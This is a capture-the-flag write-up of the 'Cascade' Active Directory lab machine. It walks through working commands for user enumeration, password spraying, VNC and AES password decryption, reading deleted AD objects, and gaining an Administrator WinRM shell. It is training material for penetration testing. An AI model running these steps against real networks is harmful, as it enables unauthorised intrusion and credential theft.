PRIMARY CATEGORY → MEDIUM

Summary

  • Domain User Enumeration via RPC with RPCClient (Samba Suite)
  • Checking for ASREPRoasting on domain user accounts with Impacket’s GetNPUsers.py
  • Domain Enumeration via LDAP using ldapsearch
  • Information Leakage in a Domain User Account attribute through LDAP
  • Listing the Domain Password Policy
  • SMB Password Spraying
  • Service Principal Name (SPN) enumeration via LDAP with ldapsearch
  • Checking for Kerberoasting on domain service accounts with Impacket’s GetUserSPNs.py
  • Domain User Enumeration using Net RPC (Samba Suite) and Impacket’s GetADUsers.py
  • Listing available Shares via SMB with Netexec and SMBMap
  • Mounting those shares locally through CIFS (SMB Implementation)
  • PE: Information Leakage leads to VNC Password Decryption
  • Exhaustive Domain Enumeration via LDAP using ldapdomaindump.py
  • PE: Information Leakage through .NET Assembly decompiling with DotPeek from a Windows machine leads to another Password Decryption
  • AES Decryption with Python Scripting (PyCryptoDome) and CyberChef.io
  • LPE: Password Leakage in an LDAP Attribute of a Deleted AD Directory User account via AD Recycle Bin group membership


Setup

Directory creation with the Machine’s Name

mkdir Cascade && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon #1

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.93.0

As mentioned, according to the TTL, It seems that It is a WINDOWS Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG cascade.allPorts 10.129.93.0

Open Ports →

53, 88, 135, 139, 389, 445, 636, 3268, 3269, 5985, 49154, 49155, 49157, 49158 and 49165
Comprehensive Scan

We can apply a little filter to the cascade.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\d{1,5}(?=/open)' cascade.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN cascade.targeted 10.129.93.0
139, 445 - SMB

As always, we start enumerating the SMB service in order to gather some interesting information such as the hostname, domain name, OS version installed and other important aspects

nxc smb 10.129.93.0

Based on Nmap previous results and the above output, it seem that we are against a Domain Controller, a Windows Server 2008 specifically

Let’s add an entry to the /etc/hosts file related to its hostname, domain name and FQDN, all of them pointing to the given IP Address

Remember that this step is crucial for any kerberos-related enumeration or attack as this protocol has a strong dependence on the DNS protocol

printf "%s\t%s\t%s\t%s" "10.129.93.0" "casc-dc1" "cascade.local" "casc-dc1.cascade.local" >> /etc/hosts

Next, let’s start listing the available shares on the target

Since we do not have any valid credentials yet, we can try a Null Authentication, followed by a Guest Authentication

nxc smb casc-dc1 --username '' --password ''

But we get nothing. If we check for the guest domain account →

nxc smb casc-dc1 --username 'guest' --password ''

We do not receive an account disabled error, so probably the samAccountName of the standard guest account was modified at some point

nxc smb casc-dc1 --username 'anyRandomUser' --password ''

We get nothing either

It is always recommended to use different tools when listing SMB shares

This time we have also used SMBMap and smbclient (Samba Suite), but we got same results

Let’s move on to the next service!

53 - DNS

On Active Directory, usually the DC acts as the DNS nameserver for the all the domain-joined computers. The feature or service related to DNS on AD is called Active Directory Integrated Domain Name System (ADIDNS)

By default, all authenticated domain users are able to list all existent records on the domain DNS Zone

Therefore, once an operator obtain valid domain credentials, it is very easy to get all information he needs related to DNS

At the moment, without valid credentials, we cannot do much apart from trying a Domain Zone Transfer

dig AXFR cascade.local @10.129.93.0

As expected, we got nothing here either

135 - RPC

On the other hand, we have the RPC Endpoint Mapper listening on port 135

This microsoft service is listening for incoming requests from RPC Clients and it automatically maps any RPC Endpoint to a certain dynamic port[s] or system namedpipe[s]

The most interesting thing to list usually via RPC are the domain user accounts and groups, so let’s check this out

rpcclient --user '' --no-pass --command 'enumdomusers' casc-dc1 | grep -ioP --color '^user:\[\K[\w\-_\.]+(?=\])' > users.list

And we are able to list the existent domain user accounts!

We can get a cleaner output without doing any additional filtering by using Net RPC (Samba Suite)

net rpc user -U '%' -S 'casc-dc1' > users.list
88 - Kerberos

With a user list, we can check if any of the above user accounts is susceptible to ASREPRoast

Remember that this attack checks if the given user account has enabled the flag USER_DONT_REQ_PREAUTH on the UserAccountControl attribute by initiating an AS Exchange with the KDC’s AS

An operator uses a kerberos client to send an AS_REQ without any encrypted timestamp and for a certain client name

If the AS does not respond with a ERR_PREAUTH_REQUIRED, the client will receive an AS_REP contaning a TGT and an encrypte_part. The latter is encrypted with a key derived from the user account password

Therefore, an adversary could try to crack it in order to obtain the plain password of the given user account

For such a task, we usually use Impacket’s GetNPUsers.py

GetNPUsers.py -dc-ip 10.129.93.0 -no-pass -usersfile ./users.list 'cascade.local/'

But there is no user account with the mentioned flag enabled on its UserAccountControl attribute

So, let’s continue with LDAP

389, 636 - LDAP

There are times when the anonymous LDAP binding is enabled. So, we could check for it

Take into account that we can grab much more information via LDAP about the domain and its objects and associated attributes

First, we need to extract the Domain Naming Contexts

ldapsearch -LLL -x -H 'ldap://casc-dc1.cascade.local' -s base namingContexts

Once we have them, proceed as follows to list all the existent accounts. By doing so, we can check if anonymous LDAP binding is enabled or not

ldapsearch -LLL -x -H 'ldap://casc-dc1.cascade.local' -b 'dc=cascade,dc=local' '(ObjectClass=person)' samAccountName | awk -v IGNORECASE=1 '/samAccountName/ { print $2 }'

But we are in the same situation as before, we have a user list but cannot do too much with it for the time being

We can look for any interesting information displayed with the command below, which lists all the information about the AD

ldapsearch -x -H 'ldap://casc-dc1.cascade.local' -b 'dc=cascade,dc=local'

Since the output displayed by this command has a extensive amount of data, we could try to look for common strings such as

password
passwd
pass
pwd
key
token

And so on. After such research, we find out the following attribute on the domain object r.thompson (User Account)

cascadeLegacyPwd: clk0bjVldmE=

If we decode its value, we get the following string, which seems to be a password

base64 -d < <(ldapsearch -LLL -x -H 'ldap://casc-dc1.cascade.local' -b 'dc=cascade,dc=local' '(samAccountName=r.thompson)' cascadeLegacyPwd | awk -v IGNORECASE=1 '/cascadeLegacyPwd/ { print $2 }' ) ; echo

From here, we could perform a password spraying providing the password above and the previously generated user list

But first, we must check the domain password policy in order to avoid locking out any domain user account

Let’s check if we can retrieve it using a Null Authentication

nxc smb casc-dc1 --username '' --password '' --pass-pol

Since there is no account lockout threshold, we do not have to be aware of account lockout

Therefore, proceed as follows →

nxc smb casc-dc1 --username users.list --password 'rY4n5eva' --continue-on-success

It was clear that the password belonged to r.thompson as it is an attribute’s value of this account. But it is always recommended to check for password reuse in other user accounts and so on

And now we have valid domain credentials, so we can start listing the registered Service Principal Names for any domain user account

Take into account that computer account passwords are generated randomly by the DC and are robust, so there is no chance an operator could crack one unless the password for the given computer account was set manually by the sysadmin

Therefore, based on that, we are interested on SPNs registered for user accounts

Any authenticated kerberos client, presenting the corresponding TGT , could initiate a TGS Exchange to the KDC’s Ticket Granting Service in order to request a Service Ticket for a certain SPN

The kerberos client would receive a TGS_REP mainly contaning two elements, the service ticket and a encrypted part

This service ticket is always encrypted with a key derived from the password of the principal for which the given SPN is registered. In the other hand, the encrypted_part contains the kerberos session key related to the issued service ticket and is encrypted with the TGT’s session key, which was stored within the TGT presented by the kerberos client in the TGS_REQ

So, again, an adversary could try to crack the service ticket in order to obtain the plain password of the given user kerberos principal

We can list all the existent Service Principal Names attributes on the domain as follows

ldapsearch -LLL -x -H 'ldap://casc-dc1.cascade.local' -D 'r.thompson@cascade.local' -w 'rY4n5eva' -b 'DC=cascade,DC=local' '(servicePrincipalName=*)' servicePrincipalName | awk -v IGNORECASE=1 '/servicePrincipalName/ { print $2 }'

But there are none related to a user account. There are only for computer accounts

Likewise, we can use Impacket’s GetUserSPNs.py

GetUserSPNs.py -dc-ip 10.129.93.0 'cascade.local/r.thompson:rY4n5eva'

But we get the “No entries found!” error, which means that there are no ServicePrincipalName attribute registered for any user account in the domain

135 - RPC

We were able to list the existent user accounts in the domain by using an anonymous authentication via RPC

Since we now have valid credentials, let’s do it again as the results may vary

This time, we could carry out this task using Net RPC again

net rpc user -U 'r.thompson%rY4n5eva' -S 'casc-dc1.cascade.local'

Or using Impacket’s GetADUsers.py

GetADUsers.py -dc-ip 10.129.93.0 -all 'cascade.local/r.thompson:rY4n5eva' 2> /dev/null | awk '/-----/ { v=1 ; next } v { print $1 }'

This is the final list of users that we will use for subsequent password sprayings, bruteforce attacks and so on

139, 445 - SMB

Another thing we can now do is list the available shares of the target using tools such as

nxc smb casc-dc1 --username 'r.thompson' --password 'rY4n5eva' --shares
smbmap -H 'casc-dc1' -d 'cascade.local' -u 'r.thompson' -p 'rY4n5eva'

Within the shares for which we have read permissions, we are interested on SYSVOL and Data for the moment

We should already know that the SYSVOL directory may contains a groups.xml file, which in turn contains a cpassword string encrypted with a symmetric key published by Microsoft some time ago

For this task, we could either mount locally the shared folders or carry out a recursive search with SMBMap

SYSVOL
smbmap -H 'casc-dc1' -d 'cascade.local' -u 'r.thompson' -p 'rY4n5eva' -R 'SYSVOL'

Nothing interesting here apart from two Visual Basic scripts. It seems that they were created to perform some type of share mounting automatically. These type of scripts usually contain credentials, but this is not the case, so, we move on to the next one

Data

This time we will mount the given share locally, simply proceed as follows

mkdir Data
cd !$ && mount --type cifs --options 'username=r.thompson,password=rY4n5eva,domain=cascade.local' '//10.129.93.0/Data' .

And we have the following directory structure →

tree -fa .

Privesc #1

Information Leakage and VNC Password Decryption

There is a supposed email within an HTML file. Let’s inspect its content by setting up an HTTP Server and accessing it from the browser

cp "Data/IT/Email Archives/Meeting_Notes_June_2018.html" .
python3 -m http.server 80

Zoom in

From the output above, we can extract two interesting things. First, they created a temporal user account for testing and deleted it once the migration was completed

Therefore, we shoud take into account domain deleted objects

In the other hand, it says that the password of this deleted account is the same as for the administrator user. So, if we manage to get the sufficient rights in order to inspect the AD deleted objects, we may get some interesting information

In addition to this, we have a VNC installation registry file

Let’s check its content

cat "Data/IT/Temp/s.smith/VNC Install.reg"

And we have a password field with a hexadecimal value

However, if we convert the hexadecimal value to its raw format, we get the following encrypted string

iconv --from-code UTF-16LE --to-code UTF-8 "./Data/IT/Temp/s.smith/VNC Install.reg" | awk -F: -v IGNORECASE=1 '/password/ { print $2 }' | tr -d ',\n\r' | xxd -ps -r ; echo

So, it seems that we must know the symmetric encryption key in order to decrypt it

A quick Google search reveals that the value of this static key is publicly available. Therefore, we could proceed as follows in order to obtain the plain text value

echo -n '6bcf2a4b6e5aca0f' | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d

We could perform another password spraying with that password and the user list we have

nxc smb casc-dc1 --username users.list --password 'sT333ve2' --continue-on-success

And we another set of credentials, this time for the user s.smith


Recon #2

389, 636 - LDAP

Now, we could perform a more exhaustive domain enumeration by running a tool such as ldapdomaindump

Doing so, we can get a better insight about the entire domain and its objects such as users, groups, GPOs and so on

git clone https://github.com/dirkjanm/ldapdomaindump ldapdomaindump
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install .
mkdir cascade_local.data
cd !$ && python3 ldapdomaindump.py --user 'cascade.local\s.smith' --password 'sT333ve2' --no-json --no-grep 'casc-dc1.cascade.local'

Next, we setup an HTTP Server in order to browse the generated files properly

python3 -m http.server 80
  • Users

Zoom in

Now we know that we can establish a WinRM session with the target as the user s.smith as this account belongs to the Remote Management Users group

Moreover, it belongs to the Audit Share group, a non standard group. Remember that there is an available share in the target called Audit, but we did not have read permissions on it as r.thompson. We should check it again as s.smith

In the other hand, the user arksvc user account belongs to the AD Recycle Bin group. Be aware that the DC allows any user account belonging to this group to list the AD deleted objects and its properties

Therefore, it would be interesting to take control over this account in order to check for any deleted user account and its attributes such as the user TempAdmin, which was mentioned in the email message we read earlier

  • Groups

There is nothing interesting apart from the groups below

Zoom in

139, 445 - SMB

So, let’s list the available shares in the target as s.smith to see if we have another set of permissions on them

nxc smb casc-dc1 --username 's.smith' --password 'sT333ve2' --shares

Likewise, we could do the same using SMBMap

smbmap -H 'casc-dc1' -d 'cascade.local' -u 's.smith' -p 'sT333ve2'

And we have read permissions on the Audit$ share

We can list its content as follows

smbmap -H 'casc-dc1' -d 'cascade.local' -u 's.smith' -p 'sT333ve2' -R 'Audit$'

There is some quite interesting information, let’s mount it locally in order to inspect all the data properly

mkdir Audit
cd !$ && mount --type cifs --options 'username=s.smith,password=sT333ve2,domain=cascade.local' '//10.129.89.77/Audit$' .
find . -type f 2> /dev/null

Privesc #2

Information Leakage on Source Code using a .Net Decompiler and Password Decryption

There is a file called Audit.db, which may be a SQLite3 file

file "Audit/DB/Audit.db"

Let’s dump all the data contained within it as follows

sqlite3 "Audit/DB/Audit.db" .dump

And it seems that we have another base64-encoded password

BQO5l5Kj9MdErXx6Q6AGOw==

However, it was not going to be as easy as base64 decode it. It is also encrypted

But this time we do not know any information about it, neither the symmetric encryption key, nor the IV, nor the encryption algorithm, nor anything else

But, we have an EXE and DLL binaries. They seem to be customized. If we extract the MD5 hash from both and search for them on Google, we get nothing

We should check what type of binaries they are

find ./Audit -iname 'Casc*' -type f -exec file {} \;

./Audit/CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections ./Audit/CascCrypto.dll: PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections

And they are .Net assembly files.

If we continue inspecting the remaning resources in the Audit share, we find out the following batch script

CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"

It executes the CascAudit.exe binary passing it as first argument the SQLite3 database

Therefore, it seems that this binary contains or uses some logic in order to open and process the database

Let’s use a .NET decompiling tool, such as DotPeek or DNSPy, to take a look at its source code

To do so, simply use a Window Machine, transfer both binaries and open them with DotPeek

  • CascAudit.exe

Zoom in

Fist, the main function initiates a new SQLite connection to the provided file as the first argument, this time would be the Audit.db file

Then, it retrieves the base64 encrypted password from the pwd column of the Ldap table and calls a function called DecryptString

When calling that decryption function, it provides the encrypted password as first argument and a string as second argument

The latter seems to be the encryption key

  • CascCrypto.dll

Zoom in

Here, we can verify that the second argument passed to the DecryptString function in CascAudit.exe is the encryption key

Moreover, the IV is not generated randomly at runtime, but rather is an static value

And lastly, we have the encryption algorithm used

Therefore, we have all we need in order to decrypt the base64-encoded object stored in the SQLite3 database

To do so, we could use any programming language that has a library/module which implements the required logic

In this case, we will use a code snippet from the PyCryptodome Python library and the CyberChef website

Python

Just create a python script with the following decryption function and all the corresponding data

python3 decrypt.py
CyberChef

Zoom in

Simply enter the corresponding parameters and let’s it cook 😊

And we have another password!

w3lc0meFr31nd

This is probably the password for the arcsvc user account as there is only one row inside the SQLite3 database and the value for the user column is the arcsvc string

sqlite3 Audit/DB/Audit.db 'select * from ldap;'

Regardless of that, we will perform another password spraying with that password and our user list

nxc smb casc-dc1 --username users.list --password 'w3lc0meFr31nd' --continue-on-success

And it is!


Shell as System User

We already know that the user arksvc belongs to the Remote Management Users group, so we can connect to the target via WinRM

evil-winrm --ip 'casc-dc1' --user 'arksvc' --password 'w3lc0meFr31nd'

And we are in!


Privesc #3

Initial Non-Privileged User → ArkSvc

Information Leakage in an LDAP attribute of a Deleted User Account Object via AD Recycle Bin membership

First, let’s check the privileges associated with the access token of the current network logon session

whoami /priv

Bute there is nothing interesting

Next, we check the groups to which the user belongs

whoami /groups

As mentioned earlier, the current user belongs to the AD Recycle Bin group. Therefore, we should be able to check all the objects deleted from the domain

We are interested on deleted user accounts specifically. So, we could proceed as follows from the target

Get-ADObject -Filter 'isdeleted -eq $TRUE -and name -ne "Deleted Objects"' -IncludeDeletedObjects -Properties *

And we have another base64-encoded password. Let’s decode it

echo -n "YmFDVDNyMWFOMDBkbGVz" | base64 -d ; echo

In the email message we read earlier, it said that the password set for the user TempAdmin was the same as for the current Administrator user

Let’s check this out →

nxc smb casc-dc1 --username 'Administrator' --password 'baCT3r1aN00dles'

And it is!

So, simply connect to the target via WinRM as the user Administrator and grab the content of the root.txt flag

evil-winrm --ip 'casc-dc1' --user 'Administrator' --password 'baCT3r1aN00dles'
Get-Content C:\Users\Administrator\Desktop\root.txt

And that’s all! Let’s move on to the next machine! 😊